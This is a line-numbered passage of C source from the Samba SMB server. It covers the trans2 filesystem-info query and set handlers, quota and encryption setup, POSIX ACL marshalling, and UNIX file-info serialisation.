  3270.             SMB_NTQUOTA_STRUCT quotas;
  3271.  
  3272.             ZERO_STRUCT(fsp);
  3273.             ZERO_STRUCT(quotas);
  3274.  
  3275.             fsp.conn = conn;
  3276.             fsp.fnum = -1;
  3277.  
  3278.             /* access check */
  3279.             if (get_current_uid(conn) != 0) {
  3280.                 DEBUG(0,("set_user_quota: access_denied "
  3281.                      "service [%s] user [%s]\n",
  3282.                      lp_servicename(SNUM(conn)),
  3283.                      conn->session_info->unix_name));
  3284.                 return NT_STATUS_ACCESS_DENIED;
  3285.             }
  3286.  
  3287.             if (vfs_get_ntquota(&fsp, SMB_USER_FS_QUOTA_TYPE, NULL, &quotas)!=0) {
  3288.                 DEBUG(0,("vfs_get_ntquota() failed for service [%s]\n",lp_servicename(SNUM(conn))));
  3289.                 return map_nt_error_from_unix(errno);
  3290.             }
  3291.  
  3292.             data_len = 48;
  3293.  
  3294.             DEBUG(10,("SMB_FS_QUOTA_INFORMATION: for service [%s]\n",
  3295.                   lp_servicename(SNUM(conn))));
  3296.  
  3297.             /* Unknown1 24 NULL bytes*/
  3298.             SBIG_UINT(pdata,0,(uint64_t)0);
  3299.             SBIG_UINT(pdata,8,(uint64_t)0);
  3300.             SBIG_UINT(pdata,16,(uint64_t)0);
  3301.  
  3302.             /* Default Soft Quota 8 bytes */
  3303.             SBIG_UINT(pdata,24,quotas.softlim);
  3304.  
  3305.             /* Default Hard Quota 8 bytes */
  3306.             SBIG_UINT(pdata,32,quotas.hardlim);
  3307.  
  3308.             /* Quota flag 2 bytes */
  3309.             SSVAL(pdata,40,quotas.qflags);
  3310.  
  3311.             /* Unknown3 6 NULL bytes */
  3312.             SSVAL(pdata,42,0);
  3313.             SIVAL(pdata,44,0);
  3314.  
  3315.             break;
  3316.         }
  3317. #endif /* HAVE_SYS_QUOTAS */
  3318.         case SMB_FS_OBJECTID_INFORMATION:
  3319.         {
  3320.             unsigned char objid[16];
  3321.             struct smb_extended_info extended_info;
  3322.             memcpy(pdata,create_volume_objectid(conn, objid),16);
  3323.             samba_extended_info_version (&extended_info);
  3324.             SIVAL(pdata,16,extended_info.samba_magic);
  3325.             SIVAL(pdata,20,extended_info.samba_version);
  3326.             SIVAL(pdata,24,extended_info.samba_subversion);
  3327.             SBIG_UINT(pdata,28,extended_info.samba_gitcommitdate);
  3328.             memcpy(pdata+36,extended_info.samba_version_string,28);
  3329.             data_len = 64;
  3330.             break;
  3331.         }
  3332.  
  3333.         /*
  3334.          * Query the version and capabilities of the CIFS UNIX extensions
  3335.          * in use.
  3336.          */
  3337.  
  3338.         case SMB_QUERY_CIFS_UNIX_INFO:
  3339.         {
  3340.             bool large_write = lp_min_receive_file_size() &&
  3341.                     !srv_is_signing_active(conn->sconn);
  3342.             bool large_read = !srv_is_signing_active(conn->sconn);
  3343.             int encrypt_caps = 0;
  3344.  
  3345.             if (!lp_unix_extensions()) {
  3346.                 return NT_STATUS_INVALID_LEVEL;
  3347.             }
  3348.  
  3349.             switch (conn->encrypt_level) {
  3350.             case 0:
  3351.                 encrypt_caps = 0;
  3352.                 break;
  3353.             case 1:
  3354.             case Auto:
  3355.                 encrypt_caps = CIFS_UNIX_TRANSPORT_ENCRYPTION_CAP;
  3356.                 break;
  3357.             case Required:
  3358.                 encrypt_caps = CIFS_UNIX_TRANSPORT_ENCRYPTION_CAP|
  3359.                         CIFS_UNIX_TRANSPORT_ENCRYPTION_MANDATORY_CAP;
  3360.                 large_write = false;
  3361.                 large_read = false;
  3362.                 break;
  3363.             }
  3364.  
  3365.             data_len = 12;
  3366.             SSVAL(pdata,0,CIFS_UNIX_MAJOR_VERSION);
  3367.             SSVAL(pdata,2,CIFS_UNIX_MINOR_VERSION);
  3368.  
  3369.             /* We have POSIX ACLs, pathname, encryption,
  3370.              * large read/write, and locking capability. */
  3371.  
  3372.             SBIG_UINT(pdata,4,((uint64_t)(
  3373.                     CIFS_UNIX_POSIX_ACLS_CAP|
  3374.                     CIFS_UNIX_POSIX_PATHNAMES_CAP|
  3375.                     CIFS_UNIX_FCNTL_LOCKS_CAP|
  3376.                     CIFS_UNIX_EXTATTR_CAP|
  3377.                     CIFS_UNIX_POSIX_PATH_OPERATIONS_CAP|
  3378.                     encrypt_caps|
  3379.                     (large_read ? CIFS_UNIX_LARGE_READ_CAP : 0) |
  3380.                     (large_write ?
  3381.                     CIFS_UNIX_LARGE_WRITE_CAP : 0))));
  3382.             break;
  3383.         }
  3384.  
  3385.         case SMB_QUERY_POSIX_FS_INFO:
  3386.         {
  3387.             int rc;
  3388.             vfs_statvfs_struct svfs;
  3389.  
  3390.             if (!lp_unix_extensions()) {
  3391.                 return NT_STATUS_INVALID_LEVEL;
  3392.             }
  3393.  
  3394.             rc = SMB_VFS_STATVFS(conn, ".", &svfs);
  3395.  
  3396.             if (!rc) {
  3397.                 data_len = 56;
  3398.                 SIVAL(pdata,0,svfs.OptimalTransferSize);
  3399.                 SIVAL(pdata,4,svfs.BlockSize);
  3400.                 SBIG_UINT(pdata,8,svfs.TotalBlocks);
  3401.                 SBIG_UINT(pdata,16,svfs.BlocksAvail);
  3402.                 SBIG_UINT(pdata,24,svfs.UserBlocksAvail);
  3403.                 SBIG_UINT(pdata,32,svfs.TotalFileNodes);
  3404.                 SBIG_UINT(pdata,40,svfs.FreeFileNodes);
  3405.                 SBIG_UINT(pdata,48,svfs.FsIdentifier);
  3406.                 DEBUG(5,("smbd_do_qfsinfo : SMB_QUERY_POSIX_FS_INFO succsessful\n"));
  3407. #ifdef EOPNOTSUPP
  3408.             } else if (rc == EOPNOTSUPP) {
  3409.                 return NT_STATUS_INVALID_LEVEL;
  3410. #endif /* EOPNOTSUPP */
  3411.             } else {
  3412.                 DEBUG(0,("vfs_statvfs() failed for service [%s]\n",lp_servicename(SNUM(conn))));
  3413.                 return NT_STATUS_DOS(ERRSRV, ERRerror);
  3414.             }
  3415.             break;
  3416.         }
  3417.  
  3418.         case SMB_QUERY_POSIX_WHOAMI:
  3419.         {
  3420.             uint32_t flags = 0;
  3421.             uint32_t sid_bytes;
  3422.             int i;
  3423.  
  3424.             if (!lp_unix_extensions()) {
  3425.                 return NT_STATUS_INVALID_LEVEL;
  3426.             }
  3427.  
  3428.             if (max_data_bytes < 40) {
  3429.                 return NT_STATUS_BUFFER_TOO_SMALL;
  3430.             }
  3431.  
  3432.             /* We ARE guest if global_sid_Builtin_Guests is
  3433.              * in our list of SIDs.
  3434.              */
  3435.             if (nt_token_check_sid(&global_sid_Builtin_Guests,
  3436.                            conn->session_info->security_token)) {
  3437.                 flags |= SMB_WHOAMI_GUEST;
  3438.             }
  3439.  
  3440.             /* We are NOT guest if global_sid_Authenticated_Users
  3441.              * is in our list of SIDs.
  3442.              */
  3443.             if (nt_token_check_sid(&global_sid_Authenticated_Users,
  3444.                            conn->session_info->security_token)) {
  3445.                 flags &= ~SMB_WHOAMI_GUEST;
  3446.             }
  3447.  
  3448.             /* NOTE: 8 bytes for UID/GID, irrespective of native
  3449.              * platform size. This matches
  3450.              * SMB_QUERY_FILE_UNIX_BASIC and friends.
  3451.              */
  3452.             data_len = 4 /* flags */
  3453.                 + 4 /* flag mask */
  3454.                 + 8 /* uid */
  3455.                 + 8 /* gid */
  3456.                 + 4 /* ngroups */
  3457.                 + 4 /* num_sids */
  3458.                 + 4 /* SID bytes */
  3459.                 + 4 /* pad/reserved */
  3460.                 + (conn->session_info->utok.ngroups * 8)
  3461.                 /* groups list */
  3462.                 + (conn->session_info->security_token->num_sids *
  3463.                     SID_MAX_SIZE)
  3464.                 /* SID list */;
  3465.  
  3466.             SIVAL(pdata, 0, flags);
  3467.             SIVAL(pdata, 4, SMB_WHOAMI_MASK);
  3468.             SBIG_UINT(pdata, 8,
  3469.                   (uint64_t)conn->session_info->utok.uid);
  3470.             SBIG_UINT(pdata, 16,
  3471.                   (uint64_t)conn->session_info->utok.gid);
  3472.  
  3473.  
  3474.             if (data_len >= max_data_bytes) {
  3475.                 /* Potential overflow, skip the GIDs and SIDs. */
  3476.  
  3477.                 SIVAL(pdata, 24, 0); /* num_groups */
  3478.                 SIVAL(pdata, 28, 0); /* num_sids */
  3479.                 SIVAL(pdata, 32, 0); /* num_sid_bytes */
  3480.                 SIVAL(pdata, 36, 0); /* reserved */
  3481.  
  3482.                 data_len = 40;
  3483.                 break;
  3484.             }
  3485.  
  3486.             SIVAL(pdata, 24, conn->session_info->utok.ngroups);
  3487.             SIVAL(pdata, 28, conn->session_info->security_token->num_sids);
  3488.  
  3489.             /* We walk the SID list twice, but this call is fairly
  3490.              * infrequent, and I don't expect that it's performance
  3491.              * sensitive -- jpeach
  3492.              */
  3493.             for (i = 0, sid_bytes = 0;
  3494.                  i < conn->session_info->security_token->num_sids; ++i) {
  3495.                 sid_bytes += ndr_size_dom_sid(
  3496.                     &conn->session_info->security_token->sids[i],
  3497.                     0);
  3498.             }
  3499.  
  3500.             /* SID list byte count */
  3501.             SIVAL(pdata, 32, sid_bytes);
  3502.  
  3503.             /* 4 bytes pad/reserved - must be zero */
  3504.             SIVAL(pdata, 36, 0);
  3505.             data_len = 40;
  3506.  
  3507.             /* GID list */
  3508.             for (i = 0; i < conn->session_info->utok.ngroups; ++i) {
  3509.                 SBIG_UINT(pdata, data_len,
  3510.                       (uint64_t)conn->session_info->utok.groups[i]);
  3511.                 data_len += 8;
  3512.             }
  3513.  
  3514.             /* SID list */
  3515.             for (i = 0;
  3516.                 i < conn->session_info->security_token->num_sids; ++i) {
  3517.                 int sid_len = ndr_size_dom_sid(
  3518.                     &conn->session_info->security_token->sids[i],
  3519.                     0);
  3520.  
  3521.                 sid_linearize(pdata + data_len, sid_len,
  3522.                     &conn->session_info->security_token->sids[i]);
  3523.                 data_len += sid_len;
  3524.             }
  3525.  
  3526.             break;
  3527.         }
  3528.  
  3529.         case SMB_MAC_QUERY_FS_INFO:
  3530.             /*
  3531.              * Thursby MAC extension... ONLY on NTFS filesystems
  3532.              * once we do streams then we don't need this
  3533.              */
  3534.             if (strequal(lp_fstype(SNUM(conn)),"NTFS")) {
  3535.                 data_len = 88;
  3536.                 SIVAL(pdata,84,0x100); /* Don't support mac... */
  3537.                 break;
  3538.             }
  3539.             /* drop through */
  3540.         default:
  3541.             return NT_STATUS_INVALID_LEVEL;
  3542.     }
  3543.  
  3544.     *ret_data_len = data_len;
  3545.     return NT_STATUS_OK;
  3546. }
  3547.  
  3548. /****************************************************************************
  3549.  Reply to a TRANS2_QFSINFO (query filesystem info).
  3550. ****************************************************************************/
  3551.  
  3552. static void call_trans2qfsinfo(connection_struct *conn,
  3553.                    struct smb_request *req,
  3554.                    char **pparams, int total_params,
  3555.                    char **ppdata, int total_data,
  3556.                    unsigned int max_data_bytes)
  3557. {
  3558.     char *params = *pparams;
  3559.     uint16_t info_level;
  3560.     int data_len = 0;
  3561.     NTSTATUS status;
  3562.  
  3563.     if (total_params < 2) {
  3564.         reply_nterror(req, NT_STATUS_INVALID_PARAMETER);
  3565.         return;
  3566.     }
  3567.  
  3568.     info_level = SVAL(params,0);
  3569.  
  3570.     if (ENCRYPTION_REQUIRED(conn) && !req->encrypted) {
  3571.         if (info_level != SMB_QUERY_CIFS_UNIX_INFO) {
  3572.             DEBUG(0,("call_trans2qfsinfo: encryption required "
  3573.                 "and info level 0x%x sent.\n",
  3574.                 (unsigned int)info_level));
  3575.             exit_server_cleanly("encryption required "
  3576.                 "on connection");
  3577.             return;
  3578.         }
  3579.     }
  3580.  
  3581.     DEBUG(3,("call_trans2qfsinfo: level = %d\n", info_level));
  3582.  
  3583.     status = smbd_do_qfsinfo(conn, req,
  3584.                  info_level,
  3585.                  req->flags2,
  3586.                  max_data_bytes,
  3587.                  ppdata, &data_len);
  3588.     if (!NT_STATUS_IS_OK(status)) {
  3589.         reply_nterror(req, status);
  3590.         return;
  3591.     }
  3592.  
  3593.     send_trans2_replies(conn, req, params, 0, *ppdata, data_len,
  3594.                 max_data_bytes);
  3595.  
  3596.     DEBUG( 4, ( "%s info_level = %d\n",
  3597.             smb_fn_name(req->cmd), info_level) );
  3598.  
  3599.     return;
  3600. }
  3601.  
  3602. /****************************************************************************
  3603.  Reply to a TRANS2_SETFSINFO (set filesystem info).
  3604. ****************************************************************************/
  3605.  
  3606. static void call_trans2setfsinfo(connection_struct *conn,
  3607.                  struct smb_request *req,
  3608.                  char **pparams, int total_params,
  3609.                  char **ppdata, int total_data,
  3610.                  unsigned int max_data_bytes)
  3611. {
  3612.     char *pdata = *ppdata;
  3613.     char *params = *pparams;
  3614.     uint16 info_level;
  3615.  
  3616.     DEBUG(10,("call_trans2setfsinfo: for service [%s]\n",lp_servicename(SNUM(conn))));
  3617.  
  3618.     /*  */
  3619.     if (total_params < 4) {
  3620.         DEBUG(0,("call_trans2setfsinfo: requires total_params(%d) >= 4 bytes!\n",
  3621.             total_params));
  3622.         reply_nterror(req, NT_STATUS_INVALID_PARAMETER);
  3623.         return;
  3624.     }
  3625.  
  3626.     info_level = SVAL(params,2);
  3627.  
  3628.     if (IS_IPC(conn)) {
  3629.         if (info_level != SMB_REQUEST_TRANSPORT_ENCRYPTION &&
  3630.                 info_level != SMB_SET_CIFS_UNIX_INFO) {
  3631.             DEBUG(0,("call_trans2setfsinfo: not an allowed "
  3632.                 "info level (0x%x) on IPC$.\n",
  3633.                 (unsigned int)info_level));
  3634.             reply_nterror(req, NT_STATUS_ACCESS_DENIED);
  3635.             return;
  3636.         }
  3637.     }
  3638.  
  3639.     if (ENCRYPTION_REQUIRED(conn) && !req->encrypted) {
  3640.         if (info_level != SMB_REQUEST_TRANSPORT_ENCRYPTION) {
  3641.             DEBUG(0,("call_trans2setfsinfo: encryption required "
  3642.                 "and info level 0x%x sent.\n",
  3643.                 (unsigned int)info_level));
  3644.             exit_server_cleanly("encryption required "
  3645.                 "on connection");
  3646.             return;
  3647.         }
  3648.     }
  3649.  
  3650.     switch(info_level) {
  3651.         case SMB_SET_CIFS_UNIX_INFO:
  3652.             {
  3653.                 uint16 client_unix_major;
  3654.                 uint16 client_unix_minor;
  3655.                 uint32 client_unix_cap_low;
  3656.                 uint32 client_unix_cap_high;
  3657.  
  3658.                 if (!lp_unix_extensions()) {
  3659.                     reply_nterror(req,
  3660.                               NT_STATUS_INVALID_LEVEL);
  3661.                     return;
  3662.                 }
  3663.  
  3664.                 /* There should be 12 bytes of capabilities set. */
  3665.                 if (total_data < 8) {
  3666.                     reply_nterror(
  3667.                         req,
  3668.                         NT_STATUS_INVALID_PARAMETER);
  3669.                     return;
  3670.                 }
  3671.                 client_unix_major = SVAL(pdata,0);
  3672.                 client_unix_minor = SVAL(pdata,2);
  3673.                 client_unix_cap_low = IVAL(pdata,4);
  3674.                 client_unix_cap_high = IVAL(pdata,8);
  3675.                 /* Just print these values for now. */
  3676.                 DEBUG(10,("call_trans2setfsinfo: set unix info. major = %u, minor = %u \
  3677. cap_low = 0x%x, cap_high = 0x%x\n",
  3678.                     (unsigned int)client_unix_major,
  3679.                     (unsigned int)client_unix_minor,
  3680.                     (unsigned int)client_unix_cap_low,
  3681.                     (unsigned int)client_unix_cap_high ));
  3682.  
  3683.                 /* Here is where we must switch to posix pathname processing... */
  3684.                 if (client_unix_cap_low & CIFS_UNIX_POSIX_PATHNAMES_CAP) {
  3685.                     lp_set_posix_pathnames();
  3686.                     mangle_change_to_posix();
  3687.                 }
  3688.  
  3689.                 if ((client_unix_cap_low & CIFS_UNIX_FCNTL_LOCKS_CAP) &&
  3690.                     !(client_unix_cap_low & CIFS_UNIX_POSIX_PATH_OPERATIONS_CAP)) {
  3691.                     /* Client that knows how to do posix locks,
  3692.                      * but not posix open/mkdir operations. Set a
  3693.                      * default type for read/write checks. */
  3694.  
  3695.                     lp_set_posix_default_cifsx_readwrite_locktype(POSIX_LOCK);
  3696.  
  3697.                 }
  3698.                 break;
  3699.             }
  3700.  
  3701.         case SMB_REQUEST_TRANSPORT_ENCRYPTION:
  3702.             {
  3703.                 NTSTATUS status;
  3704.                 size_t param_len = 0;
  3705.                 size_t data_len = total_data;
  3706.  
  3707.                 if (!lp_unix_extensions()) {
  3708.                     reply_nterror(
  3709.                         req,
  3710.                         NT_STATUS_INVALID_LEVEL);
  3711.                     return;
  3712.                 }
  3713.  
  3714.                 if (lp_smb_encrypt(SNUM(conn)) == false) {
  3715.                     reply_nterror(
  3716.                         req,
  3717.                         NT_STATUS_NOT_SUPPORTED);
  3718.                     return;
  3719.                 }
  3720.  
  3721.                 if (req->sconn->smb1.echo_handler.trusted_fde) {
  3722.                     DEBUG( 2,("call_trans2setfsinfo: "
  3723.                         "request transport encryption disabled"
  3724.                         "with 'fork echo handler = yes'\n"));
  3725.                     reply_nterror(
  3726.                         req,
  3727.                         NT_STATUS_NOT_SUPPORTED);
  3728.                     return;
  3729.                 }
  3730.  
  3731.                 DEBUG( 4,("call_trans2setfsinfo: "
  3732.                     "request transport encryption.\n"));
  3733.  
  3734.                 status = srv_request_encryption_setup(conn,
  3735.                                 (unsigned char **)ppdata,
  3736.                                 &data_len,
  3737.                                 (unsigned char **)pparams,
  3738.                                 &param_len);
  3739.  
  3740.                 if (!NT_STATUS_EQUAL(status, NT_STATUS_MORE_PROCESSING_REQUIRED) &&
  3741.                         !NT_STATUS_IS_OK(status)) {
  3742.                     reply_nterror(req, status);
  3743.                     return;
  3744.                 }
  3745.  
  3746.                 send_trans2_replies(conn, req,
  3747.                         *pparams,
  3748.                         param_len,
  3749.                         *ppdata,
  3750.                         data_len,
  3751.                         max_data_bytes);
  3752.  
  3753.                 if (NT_STATUS_IS_OK(status)) {
  3754.                     /* Server-side transport
  3755.                      * encryption is now *on*. */
  3756.                     status = srv_encryption_start(conn);
  3757.                     if (!NT_STATUS_IS_OK(status)) {
  3758.                         exit_server_cleanly(
  3759.                             "Failure in setting "
  3760.                             "up encrypted transport");
  3761.                     }
  3762.                 }
  3763.                 return;
  3764.             }
  3765.  
  3766.         case SMB_FS_QUOTA_INFORMATION:
  3767.             {
  3768.                 files_struct *fsp = NULL;
  3769.                 SMB_NTQUOTA_STRUCT quotas;
  3770.  
  3771.                 ZERO_STRUCT(quotas);
  3772.  
  3773.                 /* access check */
  3774.                 if ((get_current_uid(conn) != 0) || !CAN_WRITE(conn)) {
  3775.                     DEBUG(0,("set_user_quota: access_denied service [%s] user [%s]\n",
  3776.                          lp_servicename(SNUM(conn)),
  3777.                          conn->session_info->unix_name));
  3778.                     reply_nterror(req, NT_STATUS_ACCESS_DENIED);
  3779.                     return;
  3780.                 }
  3781.  
  3782.                 /* note: normaly there're 48 bytes,
  3783.                  * but we didn't use the last 6 bytes for now
  3784.                  * --metze
  3785.                  */
  3786.                 fsp = file_fsp(req, SVAL(params,0));
  3787.  
  3788.                 if (!check_fsp_ntquota_handle(conn, req,
  3789.                                   fsp)) {
  3790.                     DEBUG(3,("TRANSACT_GET_USER_QUOTA: no valid QUOTA HANDLE\n"));
  3791.                     reply_nterror(
  3792.                         req, NT_STATUS_INVALID_HANDLE);
  3793.                     return;
  3794.                 }
  3795.  
  3796.                 if (total_data < 42) {
  3797.                     DEBUG(0,("call_trans2setfsinfo: SET_FS_QUOTA: requires total_data(%d) >= 42 bytes!\n",
  3798.                         total_data));
  3799.                     reply_nterror(
  3800.                         req,
  3801.                         NT_STATUS_INVALID_PARAMETER);
  3802.                     return;
  3803.                 }
  3804.  
  3805.                 /* unknown_1 24 NULL bytes in pdata*/
  3806.  
  3807.                 /* the soft quotas 8 bytes (uint64_t)*/
  3808.                 quotas.softlim = BVAL(pdata,24);
  3809.  
  3810.                 /* the hard quotas 8 bytes (uint64_t)*/
  3811.                 quotas.hardlim = BVAL(pdata,32);
  3812.  
  3813.                 /* quota_flags 2 bytes **/
  3814.                 quotas.qflags = SVAL(pdata,40);
  3815.  
  3816.                 /* unknown_2 6 NULL bytes follow*/
  3817.  
  3818.                 /* now set the quotas */
  3819.                 if (vfs_set_ntquota(fsp, SMB_USER_FS_QUOTA_TYPE, NULL, &quotas)!=0) {
  3820.                     DEBUG(0,("vfs_set_ntquota() failed for service [%s]\n",lp_servicename(SNUM(conn))));
  3821.                     reply_nterror(req, map_nt_error_from_unix(errno));
  3822.                     return;
  3823.                 }
  3824.  
  3825.                 break;
  3826.             }
  3827.         default:
  3828.             DEBUG(3,("call_trans2setfsinfo: unknown level (0x%X) not implemented yet.\n",
  3829.                 info_level));
  3830.             reply_nterror(req, NT_STATUS_INVALID_LEVEL);
  3831.             return;
  3832.             break;
  3833.     }
  3834.  
  3835.     /*
  3836.      * sending this reply works fine,
  3837.      * but I'm not sure it's the same
  3838.      * like windows do...
  3839.      * --metze
  3840.      */
  3841.     reply_outbuf(req, 10, 0);
  3842. }
  3843.  
  3844. #if defined(HAVE_POSIX_ACLS)
  3845. /****************************************************************************
  3846.  Utility function to count the number of entries in a POSIX acl.
  3847. ****************************************************************************/
  3848.  
  3849. static unsigned int count_acl_entries(connection_struct *conn, SMB_ACL_T posix_acl)
  3850. {
  3851.     unsigned int ace_count = 0;
  3852.     int entry_id = SMB_ACL_FIRST_ENTRY;
  3853.     SMB_ACL_ENTRY_T entry;
  3854.  
  3855.     while ( posix_acl && (SMB_VFS_SYS_ACL_GET_ENTRY(conn, posix_acl, entry_id, &entry) == 1)) {
  3856.         /* get_next... */
  3857.         if (entry_id == SMB_ACL_FIRST_ENTRY) {
  3858.             entry_id = SMB_ACL_NEXT_ENTRY;
  3859.         }
  3860.         ace_count++;
  3861.     }
  3862.     return ace_count;
  3863. }
  3864.  
  3865. /****************************************************************************
  3866.  Utility function to marshall a POSIX acl into wire format.
  3867. ****************************************************************************/
  3868.  
  3869. static bool marshall_posix_acl(connection_struct *conn, char *pdata, SMB_STRUCT_STAT *pst, SMB_ACL_T posix_acl)
  3870. {
  3871.     int entry_id = SMB_ACL_FIRST_ENTRY;
  3872.     SMB_ACL_ENTRY_T entry;
  3873.  
  3874.     while ( posix_acl && (SMB_VFS_SYS_ACL_GET_ENTRY(conn, posix_acl, entry_id, &entry) == 1)) {
  3875.         SMB_ACL_TAG_T tagtype;
  3876.         SMB_ACL_PERMSET_T permset;
  3877.         unsigned char perms = 0;
  3878.         unsigned int own_grp;
  3879.  
  3880.         /* get_next... */
  3881.         if (entry_id == SMB_ACL_FIRST_ENTRY) {
  3882.             entry_id = SMB_ACL_NEXT_ENTRY;
  3883.         }
  3884.  
  3885.         if (SMB_VFS_SYS_ACL_GET_TAG_TYPE(conn, entry, &tagtype) == -1) {
  3886.             DEBUG(0,("marshall_posix_acl: SMB_VFS_SYS_ACL_GET_TAG_TYPE failed.\n"));
  3887.             return False;
  3888.         }
  3889.  
  3890.         if (SMB_VFS_SYS_ACL_GET_PERMSET(conn, entry, &permset) == -1) {
  3891.             DEBUG(0,("marshall_posix_acl: SMB_VFS_SYS_ACL_GET_PERMSET failed.\n"));
  3892.             return False;
  3893.         }
  3894.  
  3895.         perms |= (SMB_VFS_SYS_ACL_GET_PERM(conn, permset, SMB_ACL_READ) ? SMB_POSIX_ACL_READ : 0);
  3896.         perms |= (SMB_VFS_SYS_ACL_GET_PERM(conn, permset, SMB_ACL_WRITE) ? SMB_POSIX_ACL_WRITE : 0);
  3897.         perms |= (SMB_VFS_SYS_ACL_GET_PERM(conn, permset, SMB_ACL_EXECUTE) ? SMB_POSIX_ACL_EXECUTE : 0);
  3898.  
  3899.         SCVAL(pdata,1,perms);
  3900.  
  3901.         switch (tagtype) {
  3902.             case SMB_ACL_USER_OBJ:
  3903.                 SCVAL(pdata,0,SMB_POSIX_ACL_USER_OBJ);
  3904.                 own_grp = (unsigned int)pst->st_ex_uid;
  3905.                 SIVAL(pdata,2,own_grp);
  3906.                 SIVAL(pdata,6,0);
  3907.                 break;
  3908.             case SMB_ACL_USER:
  3909.                 {
  3910.                     uid_t *puid = (uid_t *)SMB_VFS_SYS_ACL_GET_QUALIFIER(conn, entry);
  3911.                     if (!puid) {
  3912.                         DEBUG(0,("marshall_posix_acl: SMB_VFS_SYS_ACL_GET_QUALIFIER failed.\n"));
  3913.                         return False;
  3914.                     }
  3915.                     own_grp = (unsigned int)*puid;
  3916.                     SMB_VFS_SYS_ACL_FREE_QUALIFIER(conn, (void *)puid,tagtype);
  3917.                     SCVAL(pdata,0,SMB_POSIX_ACL_USER);
  3918.                     SIVAL(pdata,2,own_grp);
  3919.                     SIVAL(pdata,6,0);
  3920.                     break;
  3921.                 }
  3922.             case SMB_ACL_GROUP_OBJ:
  3923.                 SCVAL(pdata,0,SMB_POSIX_ACL_GROUP_OBJ);
  3924.                 own_grp = (unsigned int)pst->st_ex_gid;
  3925.                 SIVAL(pdata,2,own_grp);
  3926.                 SIVAL(pdata,6,0);
  3927.                 break;
  3928.             case SMB_ACL_GROUP:
  3929.                 {
  3930.                     gid_t *pgid= (gid_t *)SMB_VFS_SYS_ACL_GET_QUALIFIER(conn, entry);
  3931.                     if (!pgid) {
  3932.                         DEBUG(0,("marshall_posix_acl: SMB_VFS_SYS_ACL_GET_QUALIFIER failed.\n"));
  3933.                         return False;
  3934.                     }
  3935.                     own_grp = (unsigned int)*pgid;
  3936.                     SMB_VFS_SYS_ACL_FREE_QUALIFIER(conn, (void *)pgid,tagtype);
  3937.                     SCVAL(pdata,0,SMB_POSIX_ACL_GROUP);
  3938.                     SIVAL(pdata,2,own_grp);
  3939.                     SIVAL(pdata,6,0);
  3940.                     break;
  3941.                 }
  3942.             case SMB_ACL_MASK:
  3943.                 SCVAL(pdata,0,SMB_POSIX_ACL_MASK);
  3944.                 SIVAL(pdata,2,0xFFFFFFFF);
  3945.                 SIVAL(pdata,6,0xFFFFFFFF);
  3946.                 break;
  3947.             case SMB_ACL_OTHER:
  3948.                 SCVAL(pdata,0,SMB_POSIX_ACL_OTHER);
  3949.                 SIVAL(pdata,2,0xFFFFFFFF);
  3950.                 SIVAL(pdata,6,0xFFFFFFFF);
  3951.                 break;
  3952.             default:
  3953.                 DEBUG(0,("marshall_posix_acl: unknown tagtype.\n"));
  3954.                 return False;
  3955.         }
  3956.         pdata += SMB_POSIX_ACL_ENTRY_SIZE;
  3957.     }
  3958.  
  3959.     return True;
  3960. }
  3961. #endif
  3962.  
  3963. /****************************************************************************
  3964.  Store the FILE_UNIX_BASIC info.
  3965. ****************************************************************************/
  3966.  
  3967. static char *store_file_unix_basic(connection_struct *conn,
  3968.                 char *pdata,
  3969.                 files_struct *fsp,
  3970.                 const SMB_STRUCT_STAT *psbuf)
  3971. {
  3972.     uint64_t file_index = get_FileIndex(conn, psbuf);
  3973.  
  3974.     DEBUG(10,("store_file_unix_basic: SMB_QUERY_FILE_UNIX_BASIC\n"));
  3975.     DEBUG(4,("store_file_unix_basic: st_mode=%o\n",(int)psbuf->st_ex_mode));
  3976.  
  3977.     SOFF_T(pdata,0,get_file_size_stat(psbuf));             /* File size 64 Bit */
  3978.     pdata += 8;
  3979.  
  3980.     SOFF_T(pdata,0,SMB_VFS_GET_ALLOC_SIZE(conn,fsp,psbuf)); /* Number of bytes used on disk - 64 Bit */
  3981.     pdata += 8;
  3982.  
  3983.     put_long_date_timespec(TIMESTAMP_SET_NT_OR_BETTER, pdata, psbuf->st_ex_ctime);       /* Change Time 64 Bit */
  3984.     put_long_date_timespec(TIMESTAMP_SET_NT_OR_BETTER ,pdata+8, psbuf->st_ex_atime);     /* Last access time 64 Bit */
  3985.     put_long_date_timespec(TIMESTAMP_SET_NT_OR_BETTER, pdata+16, psbuf->st_ex_mtime);    /* Last modification time 64 Bit */
  3986.     pdata += 24;
  3987.  
  3988.     SIVAL(pdata,0,psbuf->st_ex_uid);               /* user id for the owner */
  3989.     SIVAL(pdata,4,0);
  3990.     pdata += 8;
  3991.  
  3992.     SIVAL(pdata,0,psbuf->st_ex_gid);               /* group id of owner */
  3993.     SIVAL(pdata,4,0);
  3994.     pdata += 8;
  3995.  
  3996.     SIVAL(pdata,0,unix_filetype(psbuf->st_ex_mode));
  3997.     pdata += 4;
  3998.  
  3999.     SIVAL(pdata,0,unix_dev_major(psbuf->st_ex_rdev));   /* Major device number if type is device */
  4000.     SIVAL(pdata,4,0);
  4001.     pdata += 8;
  4002.  
  4003.     SIVAL(pdata,0,unix_dev_minor(psbuf->st_ex_rdev));   /* Minor device number if type is device */
  4004.     SIVAL(pdata,4,0);
  4005.     pdata += 8;
  4006.  
  4007.     SINO_T_VAL(pdata,0,(SMB_INO_T)file_index);   /* inode number */
  4008.     pdata += 8;
  4009.  
  4010.     SIVAL(pdata,0, unix_perms_to_wire(psbuf->st_ex_mode));     /* Standard UNIX file permissions */
  4011.     SIVAL(pdata,4,0);
  4012.     pdata += 8;
  4013.  
  4014.     SIVAL(pdata,0,psbuf->st_ex_nlink);             /* number of hard links */
  4015.     SIVAL(pdata,4,0);
  4016.     pdata += 8;
  4017.  
  4018.     return pdata;
  4019. }
  4020.  
  4021. /* Forward and reverse mappings from the UNIX_INFO2 file flags field and
  4022.  * the chflags(2) (or equivalent) flags.
  4023.  *
  4024.  * XXX: this really should be behind the VFS interface. To do this, we would
  4025.  * need to alter SMB_STRUCT_STAT so that it included a flags and a mask field.
  4026.  * Each VFS module could then implement its own mapping as appropriate for the
  4027.  * platform. We would then pass the SMB flags into SMB_VFS_CHFLAGS.
  4028.  */
  4029. static const struct {unsigned stat_fflag; unsigned smb_fflag;}
  4030.     info2_flags_map[] =
  4031. {
  4032. #ifdef UF_NODUMP
  4033.     { UF_NODUMP, EXT_DO_NOT_BACKUP },
  4034. #endif
  4035.  
  4036. #ifdef UF_IMMUTABLE
  4037.     { UF_IMMUTABLE, EXT_IMMUTABLE },
  4038. #endif
  4039.  
  4040. #ifdef UF_APPEND
  4041.     { UF_APPEND, EXT_OPEN_APPEND_ONLY },
  4042. #endif
  4043.  
